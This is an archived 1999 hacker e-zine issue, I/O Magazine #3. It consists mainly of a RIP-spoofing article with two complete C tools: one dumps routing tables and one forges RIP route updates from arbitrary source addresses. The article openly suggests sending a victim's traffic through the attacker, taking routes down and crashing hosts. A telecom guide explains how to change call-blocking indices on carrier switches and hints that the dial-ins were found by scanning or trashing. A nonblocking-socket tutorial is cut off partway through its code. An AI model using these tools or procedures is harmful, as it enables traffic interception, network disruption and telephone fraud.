home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Hackers Toolkit v2.0
/
Hackers_Toolkit_v2.0.iso
/
HTML
/
archive
/
Texts
/
io_03.txt
< prev
next >
Wrap
Text File
|
1999-11-04
|
119KB
|
3,047 lines
*************************
[ I/O Magazine ]
*************************
Issue #3
* STAFF *
Editor
~~~~~~
Ryan Graciano <tiepilot@city-net.com>
Writers
~~~~~~~
Ryan Graciano <tiepilot@city-net.com>
humble <jmcdonal@unf.edu>
Alex Jones <cossack@mindless.com>
PureNRG (wishes to remain anonymous)
ramdac <delta@codenode.org>
Produced through the support of Viewers Like You
and
Hosted by AntiOnline
* INDEX *
Introduction....................................Ryan Graciano
Spoofing RIP (Routing Information Protocol).....humble
Authcode Download System (AADS).................PureNRG
Using O_NONBLOCK................................Ryan Graciano
Socket Programming Lesson (SPL) Part 2..........ramdac
Security and Conformity.........................Alex Jones
CDR/PDR Field Descriptions......................PureNRG
/var/spool/mail.................................Viewers Like You
Introduction
~~~~~~~~~~~~
-by Ryan Graciano (tiepilot@city-net.com)
It's alive! Well, after a long hiatus, I/O is back in action
with issue #3. We received a lot of feedback concerning past issues, so
this time around I have included /var/spool/mail, a forum for I/O to
respond to some of your comments. Above all, we received volumes of email
wondering if I/O would be back, whether we had died, or sold out, or gone
private, or were just tired of the whole thing. Well, from now on, we are
going to try to release a new I/O on a bi- or trimonthly basis.
I suppose I owe you all an explanation for our, er, long development
period :) Well, we were originally counting on putting this issue out in
June, believe it or not. However, due to some internal affairs at
AntiOnline, and the stability of some of our writers, we decided to put
things off for a while. I/O officially came back into action in October,
and put the finishing touches on issue #3, this issue, which has been
put aside.
I promise issue #4 will be on time :) Look for it in the January
to February range. You will see announcements on AntiOnline regarding
our next release, so despair not if we are a tad late.
On to other matters. As usual, I/O is in need of a few writers.
In case you have not noticed yet, our staff pages from issue to issue are
drastically different :) At the current time, we are really lacking in
stable contributors, and I am happy to accept submissions. If you feel
you can contribute to our cause, by all means do.
I have also decided to open an editorial section of I/O- in issue
#4, there will be a portion of the magazine devoted to rants and raves.
Feel free to send in an essay regarding any aspect of the technical community,
from actual technical topics to what you think of certain groups or outlooks
(ie, open sourcing policies vs. Microsoft's "we monopolize everything"
legacy). You do not necessarily need a great deal of technical knowledge
for a project such as this, just some strong opinions and reasoning to
back them.
We here at I/O put a lot into this comeback issue. In the end,
we hope you not only find it informative, but enjoyable. On with the show.
+EOT+
Spoofing RIP (Routing Information Protocol)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- by humble (jmcdonal@unf.edu)
Overview
--------
RIP is probably the easiest means of implementing dynamic routing
that a network administrator has available. RIP is a protocol that is
designed for small to medium size networks. The services needed to support
RIP are provided with almost every TCP/IP implementation. Essentially,
RIP provides a mechanism for a machine to keep an udpated routing table:
one that represents the current state of the network. Routers periodically
send a copy of their routing table to the subnet broadcast address,
allowing other routers to learn these routes. If a certain route is not
updated after a good period of time, it is assumed to have gone down.
Thus, RIP provides a simple method for routers to propagate their routing
information, and thus communicate this information to the hosts that the
router directly interacts with.
There are two versions of RIP that we must consider. The first
version of RIP communicates its routing information relative to itself.
For instance, a RIP v1 message looks like this: "If you would like to send
your packets to this subnet, they will get here in X hops if you send
them through me." A RIP v2 messages, on the other hand, communicates a lot
more information. It says: "If you would like to send your packets to this
subnet (with a subnet mask of X), then you can send it to this person and
it will be X hops away from its destination." RIP version 2 communicates
the knowledge of other routers to the network, while RIP version 1
communicates just the knowledge of its routes.
RIP daemons can run in two modes: passive, or active. A passive
daemon will sit on the network and watch the routers communicate their
route information with each other. It will record this information, and
the machine it is running on will have an updated routing table. The
passive mode daemon will never advertise its routes, unless a special
condition occurs. (We will cover that later.) The active mode daemon will
continually advertise its routes to the network, and it will send its
routing information to any machine that requests it. The active mode
daemon is of course listening to the other routers' advertisements and
incorporating them into its routing table.
Implementation
--------------
As noted above, there are two versions of RIP that we must
consider: RIPv1 and RIPv2. Both versions of the protocol use the same
ports and general packet structure. The RIP version 2 simply fills in
parts of the packet that version 1 mandates to be 0.
RIP messages are encapsulated in UDP datagrams bound to port 520.
The datagram is broken out like this for version 1:
0......7 8......15 16......24 24......31
|command| |version| | 0 |
| address family | | 0 |
| IP address |
| 0 |
| 0 |
| metric |
these five lines repeat for each route
A quick overview of the packet:
command - 1 is a request, 2 is a reply. There are other commands, but they
are mostly obsolete or implementation specific.
version - 1 for version 1, 2 for version 2.
address family - 2 for IP addresses.. This is what we will be focusing on.
ip address - the ip address of the advertised route.
metric - (1-16) the number of hops to that route.
So, what information is a RIP v1 message conveying?
Say you are a passive daemon and you are listening to the broadcast traffic.
Say a router at 100.100.0.1 sends out a RIP message advertising:
100.100.16.0 with a metric of 3
This means that if you had a packet destined for the 100.100.16.0
subnet, and you sent it to the router at 100.100.0.1, it would go through
4 hops before it reached its destination. As a passive mode RIP daemon,
you would look at your routing table and decide if 4 hops was better than
the route you currently have recorded for that subnet. If you didn't have
a route to that subnet, then you would add this route to your routing
table. Now if this router didn't send out an update for this route for a
long time (typically 3 minutes), you would know that the route has
probably gone down. Instead of deleting the route entry from your routing
table, you would set the metric to 16, indicating a dead link. If the
metric on a particular route stays at 16 for a while, you would
eventually delete it.
The reason for using 16 to represent a dead link is simple. If a
router decides that a certain link is dead, because it hasn't recieved an
update on it, it will mark the metric as 16. It will *still* advertise the
route with a metric of 16. This way, other routers will pick up that the
route is down. If the route comes back up, and a router advertises it at a
lower metric, all the routers on the network will quickly propagate the
new route.
Let's look at version 2:
0......7 8......15 16......24 24......31
|command| |version| | route domain |
| address family | | route tag |
| IP address |
| subnet mask |
| gateway |
| metric |
these five lines repeat for each route
There are a few major differences:
route domain: This is a unique ID that a routing daemon can use to identify
itself. The main purpose of this is so that an administrator can have
two routing daemons running on the same router.
route tag: "The route tag exists to support exterior gateway protocols. It
carries an autonomous system number for EGP and BGP." (Stevens 136)
subnet mask: This is one of the most important parts of RIP v2. If a daemon
recieves a RIP v1 message that says, "I have a route for 135.23.4.0,"
what does that message actually mean? It could mean that it has a host
route to 135.23.4.0, or it could mean the class C starting at the
network number 135.23.4.0. It could mean anything. The daemon
typically uses the subnet mask that is defined on the interface the
RIP packet was recieved upon. This may or may not be a good idea.
Therefore, in RIP v2, you can specify the subnet mask of the route you
are trying to communicate.
gateway: RIP v2 allows you to specify the gateway machine for a particular
subnet. This way, a router can advertise routes for other routers,
and the network will make itself more efficient. Normally, a router
that wanted to go somewhere would pick up a route from another router
running RIP, send its packets to that router, receive an ICMP redirect,
and adjust its routing tables accordingly. This eliminates all of this
and adds more functionality to RIP.
Also, it is important to note that RIP v2 offers a form of
authentication. If you set the first entry of your RIP packet to have an
address family of 0xffff (all 1's), and a route tag of 2, the remaining 16
bytes can be used as a cleartext password. This authentication scheme is not
used often, so we don't need to worry about it.
If you would like more information about the RIP protocol, consult
W. Richard Steven's "TCP/IP Illustrated" (Chapter 10), and the relevant
RFC's (1058,1388).
Flaws
-----
RIP is a UDP based protocol with weak to non-existant
authentication. Furthermore, it is stateless, meaning that a RIP daemon
will honor replies even though it hasn't sent any requests. These factors
make it very fun and easy to abuse. For this section of the article, I will be
referring to code from the OpenBSD routed implementation (located in
/usr/src/sbin/routed). This code should be somewhat representative of the
daemons running on other unixes and routers. I choose this code because it
will probably be the most secure implementation of the RIP protocol available,
and thus our exploration will focus on the weaknesses of the protocol.
The first thing we should try to do is to get a RIP daemon to send
us its routing information. The code to send the request is program #1,
rprobe. I did not write a program to receive and interpret the RIP
datagrams, although it should be fairly easy to do. Instead, I invoke
tcpdump like this on another window:
tcpdump -vv -s 6000 udp and port 520
Ok, let's look at the RIP daemon source code and try to figure out
how we can get it to send us the routing information.
routed communicates with the kernel with a special socket of the
AF_ROUTE domain. It also listens for ICMP router discovery messages. We
will be focusing on the code that handles RIP. Once routed starts up and
initializes itself (by purging the kernel of all dynamically assigned
routes and setting up its sockets), it enters an infinite loop. The loop
basically does this:
Record the time.
Update its list of alive interfaces.
If it is in active mode, and it is time (once every 30 seconds), then
broadcast its routing information out to the network.
Figure out its schedule.
Do a blocking select on all of its sockets, putting them in
the read fd set.
If it gets new routing information from the kernel, it calls read_rt().
If it gets new ICMP messages, it calls read_d().
If it gets any RIP message off of any interface, it calls read_rip(),
passing it the socket and a description of the interface from
which the socket was bound to.
So, we want to look at read_rip(), which is located in input.c.
read_rip() is a simple function, as it reads the packet off of the socket,
handles any errors, and slams it into a struct rip. It then passes this
structure to input(), which is also in input.c.
input() is the main function for handling RIP packets. It does a
few sanity checks, namely making sure the version is correct, and the
packet is of a tolerable length. Then we see a humurous comment in the
code:
/* Notice authentication.
* As required by section 4.2 in RFC 1723, discard authenticated
* RIPv2 messages, but only if configured for that silliness.
*
* RIPv2 authentication is lame, since snooping on the wire makes
* its simple passwords evident. Also, why authenticate queries?
* Why should a RIPv2 implementation with authentication disabled
* not be able to listen to RIPv2 packets with authenication, while
* RIPv1 systems will listen? Crazy!
*/
Moving on, the function goes into a large switch statement based
on the command value in the RIP packet. This implementation has code to
handle RIP requests, RIP replies, and turning on RIP tracing remotely. We
are trying to get the daemon to dump its routing tables to us, so let's
look at the code to handle the request. First, it does some sanity checks,
making sure the packet is the right length. Then, it loops through each
routing message in the packet. This is the code at the very beginning of
the loop:
/* A single entry with family RIP_AF_UNSPEC and
* metric HOPCNT_INFINITY means "all routes".
* We respond to routers only if we are acting
* as a supplier, or to anyone other than a router
* (i.e. a query).
*/
if (n->n_family == RIP_AF_UNSPEC
&& n->n_metric == HOPCNT_INFINITY
&& n == rip->rip_nets
&& n+1 == lim) {
if (from->sin_port != htons(RIP_PORT)) {
/* Answer a query from a utility
* program with all we know.
*/
supply(from, sifp, OUT_QUERY, 0,
rip->rip_vers);
return;
}
We can see in this part of the code a special case. If we send the
daemon a RIP request with an address family of 0 and a metric of 16, then
it will dump us its routing tables. That is, if we are not bound to the
RIP port on our side of the socket. So, if a daemon is running in passive
mode, we can get it to send us its routing information by sending a
packet coming from any port besides 520. If we want to get an active
daemon to send us its routing information, we should address it from port
520. From experience, I know that some routers will not respond unless
the source port is 520.
We can see that the daemon does not really care who it is sending
the information too. Thus, we should be able to write a simple UDP program
that will send a datagram to a target host, (or better yet, the broadcast
address of the target host), and it will respond to us. That program is
rprobe, program #1. To use it, you should run tcpdump in one screen, and
run rprobe in another. There is a program available called rtquery, which
will do a very similiar thing, in a far more comprehensive manner, but it
does not allow you to query a broadcast address (recompiling it with a
SO_BROADCAST socket option should fix that).
Ok, so now we have a means of figuring out the routing information
of all of the routers and hosts (running routed) on a RIP network. Now,
let's look at the code that handles the RIP replies and see what rules
there are in determining whether a particular routing entry is accepted.
First, the packet length is verified to be correct. Then, the
packet is discarded if it is not originating from port 520. The daemon
makes sure that it is not reacting to packets that it has sent. Next, the
daemon checks the router that the packet originated from. If it is not a
router that is directly connected to it, and it is not in /etc/gateways,
then the packet is discarded. These checks are all based upon the source
IP of the packet. The daemon then makes sure the version is either RIP v1
or v2. If the v2 authentication is being used, the daemon will check to
make sure the password is correct. The daemon then loops through each
route entry in the packet.
It makes sure that the address family is 2, for IPv4 addresses.
Then it calls check_dst(), passing it the address we specified as the
destination in our routing entry. check_dst() (in if.c) just makes sure
that the destination looks like a reasonable internet IP address. The
daemon makes sure the metric is between 1 and 16. The daemon then attempts
to verify the gateway address we have given. If it is dealing with a RIP
v1 packet, then the gateway should be 0. However, the daemon appears to
set the value to 0 if it is a RIPv2 packet also. I think this is an error
in the OBSD code. I will see what tech@openbsd.org says. Anyway, if it
does look at the gateway address, which it should, it makes sure that the
specified gateway is on the same subnet as the interface which received
the packet. The daemon then verifies that the netmask is healthy and it
also will attempt to infer the netmask if it is reading a RIP v1 packet.
The daemon also figures that if it has a default route already, then it
won't accept a new one dynamically. Ok... now we are getting into the
stuff we are interested in. The daemon will break down one RIPv2 route
into several RIPv1 routes if it is necessary in order to express that
route with the RIPv1 netmask. Now, for each route that is to be added, the
daemon calls input_route(), which is also in input.c
If the route is not already in the routing table, and it doesn't
specify the daemon machine's IP as the gateway, and it has a metric
below 16, then it will be added to the machine's routing table. So, what
this tells us is that we should be able to add any route we want to a
machine running a RIP services, assuming it hasn't been added before. So,
that's good, but what if we want to modify a machines routing table?
This has some trickier rules. For each route that the daemon knows
about, it keeps a list of "spares." This way, it records the route without
actually committing to it. The first item in the spare list is the route
that is actually being used. If the route change comes from the router
that it is currently using, then it is immediately accepted. If the change
involves the metric getting worse, it will look through its spares for a
better option. However, if the daemon receives an update from one of its
spares, it will consider making it the active route, if its metric is
the best. Now, if the daemon receives a route update for a route that it
knows about, but from an unknown router, then it will save the spare. It
will only save the spare if it has a better metric than the current worst
spare.
So, what have we learned from this? A route is basically the
combination of a destination and a netmask. We should be able to add any
route that we want that isn't in place, assuming the gateway is a machine
on the same subnet as the host. We should also be able to change any route
by offering a new one with a better metric. In situations where the
metric is 1, and we can't offer a better metric, we can still change the
route. What we have to do to pull this off is to tell the machine that all
of the routes it is currently using are of metric 16 (i.e. dead) and that
the route we are offering has a metric of 1. If we can kill off all of the
spares it has saved, then our route will win.
Program 2, srip, uses a raw socket to send spoofed RIPv1 or RIPv2
messages from an arbitrary source IP. This code is tested on OpenBSD 2.3
and the latest stable Debian release (I forget the version).
Ok, now we have the tools and the understanding... What are some
of the fun things you can do with RIP? If you happen to find someone who's
ISP is running RIP, you could send a route message from a dead host on
their subnet, advertising a route to somewhere that person likes to go
(think IRC server). Send it to their broadcast address, their default
gateway will pick it up, and forward the packets on through to the dead
host, while sending ICMP redirects to your victim the whole time. You
could compile IP forwarding into your kernel, and set up routes from
various machines that are on your subnet (but are not necessarily
sniffable) to other hosts on your network. For instance, you could set it
up such that everytime Bob telnets to Jim's computer, the packets bounce
through you.
Also, if you can determine all of the routers on a subnet, you can
force them into dropping routes that they have picked up dynamically by
spoofing metric 16 routes. Remember, if you can guess what router is
advertising a particular route, you can take that route down by spoofing
packets from that router. On some implementations, you can almost bring
machines to a halt by flooding them with RIP requests and forcing the
kernel to keep growing and purging its routing table. I've noticed that
some SunOS boxes and some OS/2 machines will actually crash if you fill
up the kernel's routing table. (This is easy to do with ICMP redirects as
well). Perhaps the most useful thing you can do with RIP is glean
information about how a network is setup. If you can come up with any
interesting abuses of RIP, send me email.
Example Code
------------
Program 1: rprobe.c
----------------------
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#define RIP_PORT 520
struct rip_message
{
unsigned short family;
unsigned short tag;
unsigned long ip;
unsigned long netmask;
unsigned long gateway;
unsigned long metric;
};
struct rip
{
unsigned char command;
unsigned char version;
unsigned short domain;
struct rip_message routes[1];
};
void usage(void)
{
fprintf(stderr,"Usage: rprobe [-av] target\n");
fprintf(stderr," a:\t\tquery active mode daemons (requires root priveleges)\n");
fprintf(stderr," v:\t\tspecify rip version 2\n");
fprintf(stderr," target:\tdestination\n");
exit(42);
}
int main(int argc, char *argv[])
{
int sockfd;
struct sockaddr_in their_addr;
struct sockaddr_in ours;
struct hostent *he;
char hostname[256];
int localport;
int numbytes;
int ch,version;
struct rip evil;
long on=1;
localport=4242;
version=1;
while ( (ch=getopt(argc,argv,"va")) != -1)
{
switch (ch)
{
case 'v': version=2;
break;
case 'a': localport=RIP_PORT;
break;
default : usage();
}
}
argc-=optind;
argv+=optind;
if (argc!=1) usage();
strncpy(hostname,argv[0],sizeof(hostname));
if ((he=gethostbyname(hostname)) == NULL)
{
herror("gethostbyname");
exit(1);
}
if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1)
{
perror("socket");
exit(1);
}
if (setsockopt(sockfd, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on))==-1)
{
perror("setsockopt");
exit(1);
}
their_addr.sin_family = AF_INET; /* host byte order */
their_addr.sin_port = htons(RIP_PORT); /* short, network byte order */
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(their_addr.sin_zero), 8); /* zero the rest of the struct */
bzero(&ours,sizeof(struct sockaddr));
ours.sin_family = AF_INET; /* host byte order */
ours.sin_port = htons(localport); /* short, network byte order */
bzero(&(ours.sin_zero), 8); /* zero the rest of the struct */
bind(sockfd,(struct sockaddr *)&ours,sizeof(struct sockaddr));
bzero(&evil,sizeof(struct rip));
evil.command=1;
evil.version=version;
evil.routes[0].metric=htonl(16);
printf("Sending packet.\n");
if ((numbytes=sendto(sockfd, &evil, sizeof(struct rip), 0, \
(struct sockaddr *)&their_addr, sizeof(struct sockaddr))) == -1)
{
perror("recvfrom");
exit(1);
}
printf("Sent %d bytes.\n",numbytes);
close(sockfd);
exit(0);
}
----------------------
Program 2: srip.c
----------------------
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
/* define our own structs so this will be easier to port*/
#define IPVERSION 4
struct ip_header
{
unsigned char ip_hl:4, /* header length */
ip_v:4; /* version */
unsigned char ip_tos; /* type of service */
unsigned short ip_len; /* total length */
unsigned short ip_id; /* identification */
unsigned short ip_off; /* fragment offset field */
#define IP_RF 0x8000 /* reserved fragment flag */
#define IP_DF 0x4000 /* dont fragment flag */
#define IP_MF 0x2000 /* more fragments flag */
#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
unsigned char ip_ttl; /* time to live */
unsigned char ip_p; /* protocol */
unsigned short ip_sum; /* checksum */
unsigned long ip_src, ip_dst; /* source and dest address */
};
struct udp_header
{
unsigned short uh_sport; /* source port */
unsigned short uh_dport; /* destination port */
unsigned short uh_ulen; /* udp length */
unsigned short uh_sum; /* udp checksum */
};
#define RIP_PORT 520
struct rip_message
{
unsigned short family;
unsigned short tag;
unsigned long ip;
unsigned long netmask;
unsigned long gateway;
unsigned long metric;
};
struct rip
{
unsigned char command;
unsigned char version;
unsigned short domain;
struct rip_message routes[1];
};
struct raw_pkt
{
struct ip_header ip;
struct udp_header udp;
struct rip rip;
};
struct raw_pkt* pkt;
unsigned long int get_ip_addr(char* str)
{
struct hostent *hostp;
unsigned long int addr;
if ( (addr = inet_addr(str)) == -1)
{
if ( (hostp = gethostbyname(str)))
return *(unsigned long int*)(hostp->h_addr);
else
{
fprintf(stderr,"unknown host %s\n",str);
exit(1);
}
}
return addr;
}
unsigned short checksum(unsigned short* addr,char len)
{
register long sum = 0;
while(len > 1)
{
sum += *addr++;
len -= 2;
}
if(len > 0) sum += *addr;
while (sum>>16) sum = (sum & 0xffff) + (sum >> 16);
return ~sum;
}
void usage(void)
{
printf("Usage: srip [-2] [-n netmask] [-g gateway] source dest target metric\n");
printf(" 2:\t\tRIP version 2\n");
printf(" n:\t\tnetmask (for version 2)\n");
printf(" g:\t\tgateway (for version 2)\n");
printf(" source:\tRIP packet sender\n");
printf(" dest:\t\tRIP packet destination\n");
printf(" target:\tadvertised route\n");
printf(" metric:\tadvertised metric\n");
exit(0);
}
int main(int argc,char** argv)
{
struct sockaddr_in sa;
int sock,packet_len;
int ch;
long source,dest,target,netmask,gateway;
int version,metric;
int on = 1;
version=1;
netmask=0;
gateway=0;
while ( (ch = getopt(argc,argv,"2n:g:"))!= -1 )
{
switch (ch)
{
case 'n': netmask=get_ip_addr(optarg);
break;
case 'g': gateway=get_ip_addr(optarg);
break;
case '2': version=2;
break;
default:usage();
break;
}
}
argc-=optind;
argv+=optind;
if (argc!=4) usage();
source=get_ip_addr(argv[0]);
dest=get_ip_addr(argv[1]);
target=get_ip_addr(argv[2]);
metric=atoi(argv[3]);
if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("socket");
exit(1);
}
if (setsockopt(sock,SOL_SOCKET,SO_BROADCAST,(char *)&on,sizeof(on))<0)
{
perror("setsockopt: SO_BROADCAST");
exit(1);
}
if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0)
{
perror("setsockopt: IP_HDRINCL");
exit(1);
}
sa.sin_addr.s_addr = dest;
sa.sin_family = AF_INET;
packet_len = sizeof(struct raw_pkt);
pkt = calloc((size_t)1,(size_t)packet_len);
pkt->ip.ip_v = IPVERSION;
pkt->ip.ip_hl = sizeof(struct ip_header) >> 2;
pkt->ip.ip_tos = 0;
pkt->ip.ip_len = htons(packet_len);
pkt->ip.ip_id = htons(getpid() & 0xFFFF);
pkt->ip.ip_off = 0;
pkt->ip.ip_ttl = 0xdf;
pkt->ip.ip_p = IPPROTO_UDP ;//UDP
pkt->ip.ip_sum = 0;
pkt->ip.ip_src = source;
pkt->ip.ip_dst = sa.sin_addr.s_addr;
pkt->ip.ip_sum = checksum((unsigned short*)pkt,sizeof(struct ip_header));
pkt->udp.uh_sport = htons(520);
pkt->udp.uh_dport = htons(520);
pkt->udp.uh_ulen = htons(sizeof(struct udp_header)+sizeof(struct rip));
pkt->udp.uh_sum = 0;
pkt->rip.command = 2;
pkt->rip.version = version;
pkt->rip.routes[0].family = htons(2);
pkt->rip.routes[0].ip = target;
pkt->rip.routes[0].metric = htonl(metric);
//putting in the udp checksum breaks it.
//someone email and explain this to me :>
//pkt->udp.uh_sum = checksum((unsigned short*)&(pkt->udp),
//sizeof(struct udp_header)+sizeof(struct rip));
if(sendto(sock,pkt,packet_len,0,(struct sockaddr*)&sa,sizeof(sa)) < 0)
{
perror("sendto");
exit(1);
}
}
----------------------
Sources
-------
TCP/IP Illustrated Volume 1 by W. Richard Stevens
OpenBSD 2.3 routed source code (deraadt / Berkeley)
+EOT+
Authcode Download System (AADS)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-by PureNRG
DESCRIPTION
-----------
ANI/Authcode Download System (AADS) is a batch processing system designed
to allow for the download of ANI's and authcodes to switches. The actual
interface is unimportant, since you can successfully figure it out remotely
with this guide. For our purposes, we will deal only with the ANI portion.
LOGON
-----
At the COMS main menu, select AADS.
At the AADS main menu, place an "S" beside the "Switch Maintenance"
option. (This is the only section that we will be concerned with.)
At the "Switch Maintenance Menu" the options we will use are as follows:
ANI Browse/Select
ANI Maintenance
ANI Inquire
ANI Update
ANI History Inquiry
Here is a brief summary of what each of the options' functions are. Based
upon what you want to do or see, you can select one of the options and
PF10 back to the menu to perform additional functions.
1. ANI Browse/Select
* This screen lists valid active ANI's and associated information ordered
by NPA. You can select an ANI for (I)nquire, (U)pdate, (D)eletion, and
(H)istorical Inquire. You can also access existing Notes or the Note
Add screen (PF keys will be listed on the bottom).
2. ANI Maintenance
* This screen allows you to enter up to 12 ANI's at one time for entry
into AADS and update the Switch Network. There are 7 required fields
that must have information entered for the download to complete.
3. NPA
4. NXX
5. Station
6. Class of service: 23 digit numeric.
* Options are 00 through 15, 21, or 40. For a listing of the options
and what they represent, you can select PF 5 once you've reached
this field.
7. VPAC Index: 3 digit numeric.
* For our purposes, this will always be 00, unless
updating a Telcom USA ANI. For a valid listing of the
options and what they represent, you can select PF 5.
8. Reason Code: 3 character alphanumeric.
* This indicates why the change is being made. For a complete listing
of valid reason codes, you can hit PF 6 once you reach this field.
9. Block Length: 23 digit numeric.
* For our purposes, we will leave it blank.
However, the options are 30, 60, 90, and 120, which indicate
how long, in number of days, a block will be in place
(autodelete function).
Once all required information is entered, be sure that the "Transmit
Shipment Indicator" is "Y". Then hit Enter and the information will
disappear, which indicates it's been sent to CommShip for processing.
RULES AND GUIDELINES
--------------------
Up to twelve (12) ANIs can be entered at one time from this screen.
If the ANI entered does not currently exist in AADS, it will be written
to the ANI Database.
If the ANI entered already exists in AADS, it will be written to the ANI
Database, and the previous ANI Database value will be written to the ANI
History Database.
The user cannot add an ANI that requires a Data Switch (i.e. SW56 ANI) if
the ANI's NPA/NXX is not associated with a data switch in the AADS
NPA/NXX table.
If the user chooses to SHIP the transaction (a "Y" in the Transmit
Shipment Field), a shipment is created and transmitted to CommSHIP upon
completion of the transaction.
If the user chooses not to SHIP the transaction (an "N" in the Transmit
Shipment field), a pending ANI record will be written to the ANI table.
The current ANI record will remain on the ANI table also.
Only one pending record is allowed at one time for an ANI.
The existence of a pending ANI record does not block the user from
completing future transactions against that ANI.
All data errors identified by AADS will be highlighted. An error message
will be displayed for the first error encountered.
A transaction cannot be completed until all errors are resolved.
A confirmation message is presented after the user completes the data
entry and presses enter. The user must press enter again to confirm the
transaction or press the Abort PF key to cancel the transaction.
After the transaction is processed, a completion message is displayed on
the message line and the screen is cleared for further data entry.
1. ANI Inquire
* This screen allows you to review an ANI's current status in AADS and
its associated switches. If a shipment has not completed, the
associated switch will be displayed twice; once with the pending
shipment record, and again with the previous ANI transaction shipment
data that is currently loaded into the switch.
* If notes had been entered, you can view them by selecting PF9.
* Only active ANIs can be reviewed via the ANI Inquire transaction.
2. ANI Update
* This Screen allows you to review and modify existing ANI
information in AADS.
* We would only use this function if a download
was performed in error. This would permit for the
correction to be made.
3. ANI History Inquire
* This screen allows the user to review current and
historical ANI information in AADS.
* The active ANI record and all previous ANI transactions
data for the past 180 days is available for review on this screen.
OTHER INFORMATION
~~~~~~~~~~~~~~~~~
The purpose of AADS is to make changes to an ANI index. An ANI index is a
set of instructions for the originating switch which processes a call.
When a switched customer places a call, the local telco takes the
originating ANI and determines what long distance carrier to send the
call to.
Our switch then looks at the ANI index of the ORIGINATING number and
depending upon what that index is, determines how the switch proceeds
with terminating the call.
If an ANI has a 00 index, this means there are no restrictions of any
kind and the switch will send the call to it's terminating destination.
If an ANI has an index 10, which means this is a VNET or VISION ANI, the
switch will then query the DAP which, at that point, is responsible for
initiating any features (i.e. verifies the range privilege, account codes,
10-digit exclusion, etc.)
An ANI index of 08 would indicate that this is a Dial-1 ANI with 2-digit
accounting codes. Since Dial-1 is switched base and not DAP based, the
switch sends the code prompt and does the verifying unlike VNET where
this process is done in the DAP.
However, there are a few things to keep in mind:
AADS allows you to make changes and check to see if the changes you made
have completed. It will NOT allow you to check the ANI index on an ANI
that has not had a change made to it in the last months.
THE ONLY SURE WAY TO KNOW WHAT THE INDEX IS OF AN ANI
IS TO GO DIRECTLY INTO THE SWITCH.
Before making any changes in AADS to an index other than 00, you must
verify that the ANI is in OCIS and has been active for at least 72 hours.
WHY? When an account is installed in OCIS or an ANI is activated or
deactivated on an OCIS account, the information downloads into NOPS (New
Order Processing System). NOPS then downloads into AADS and the
appropriate switches with the proper indexing information based on the
changes made in OCIS. (i.e. When a VNET account is installed in OCIS, the
information is sent to NOPS which says "make the ANIs on this account an
index 10.") When a VNET account is deactivated, the reverse happens. OCIS
tells NOPS to tell the switch that the ANIs should be 00.
The reason that the ANIs must be installed in OCIS for 72 hours is
because it takes 24 hours for this information to download from OCIS to
NOPS, then up to an additional 48 hours to complete from NOPS to the
switches.
If an index is incorrect (usually because there is a glitch in the above
system), and the ANI has not had any changes to it in OCIS in 72 hours,
then you go ahead and download the ANI into AADS with the correct index.
The completion will take up to 24 hours.
Do NOT do another download if one is already in place. What this does is
requires the switch to do twice as much work which creates a backlog and
longer completion times.
Below is a list of ANI Index's
0 1+
1 Prison
2 Priority Customer
3 Dial-1 Switched 56
5 North America Public Access
6 900 Blocking
7 900 Blocking w/2-Digit Accounting Codes
8 1+ w/2-Digit Accounting Codes
10 VNET
11 1+ w/4-Digit Account Codes
12 Universal Public Access
13 Operator Service Blocking
14 1+ w/3-Digit Accounting Codes
15 Call Blocking (usually by Fraud or Credit & Collections)
21 1+ w/4-Digit Accounting Codes
30 IAOS Operator Services
40 VNET/Vision Switched 56
If you havent found any of these through scanning or trashing, I might post
the dial-ins. If the crowd roars loud enough!
Have phun.
+EOT+
Using O_NONBLOCK
~~~~~~~~~~~~~~~~
-by Ryan Graciano (tiepilot@city-net.com)
By now I assume that you are familiar with the concept of blocking.
If not, or if you have forgotten what blocking is, here is a refresher.
Whenever you call read(), write(), connect(), or similar functions,
you must wait until the operation is completed for the function to return.
These functions are said to be blocking functions, because they block
the program's normal operation until they return. Although this makes
things smoother overall, and easier to manage, sometimes we just do not have
the time to wait for every single accept() to return. For example, if we are
writing a daemon that does not fork() a child process to handle connection
requests, we can only pay attention to accept() for a short period of time,
and then we must check on our clients to see if they need the program's
attention.
To do this, we set a socket to nonblocking by calling fcntl(), as
in this example:
fcntl(sock, F_SETFL, O_NONBLOCK);
If you are not familiar with fcntl(), here is what is happening
there- sock is an integer that was assigned a value through a socket() or
open() call, because any descriptor will work. F_SETFL is the fcntl()
command we are issuing. Its purpose is to set the flags on a file descriptor,
and you guessed it, O_NONBLOCK is the flag that we are setting. Incidentally,
O_NDELAY is interchangeable with O_NONBLOCK in some implementations.
Also, you will want to check for an fcntl() error when you call it. If
fcntl() returns a value less than 0, then something went wrong (perhaps
you passed it a descriptor that was closed previously, or never
initialized).
Well, terrific. Now we have a socket that does not block. But
what do we do with it? Well, this new, spiffy, nonblocking socket should
perform as any other would, with a minor exception. Normally, you are
going to call read() and accept() and expect a result. But in this case,
if no data is available to be read, read() will return an error: EAGAIN.
This error is to inform you that there was no data available to be read
at the time you called it. accept(), in turn, will give you EWOULDBLOCK
as an error (EWOULDBLOCK and EAGAIN are actually equal values). Although
a write() will appear to work and be finished, in actuality, it could still
be trying to write whatever data you passed it. If there was no room left to
write the data, it will give you EAGAIN. Some calls will give you
EINPROGRESS, such as connect(), indicating that the operation is underway.
It's also possible to receive EALREADY, indicating that the call is still
working on what you asked it to do.
Let's take a look at a simple TCP server that blocks, so that we may
contrast it with a later example of one that does not.
/* tcpblock.c *
* Written as a short example *
* for "I/O Magazine." *
* Connect to PORT and type "hi" *
* - tiepilot@city-net.com */
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
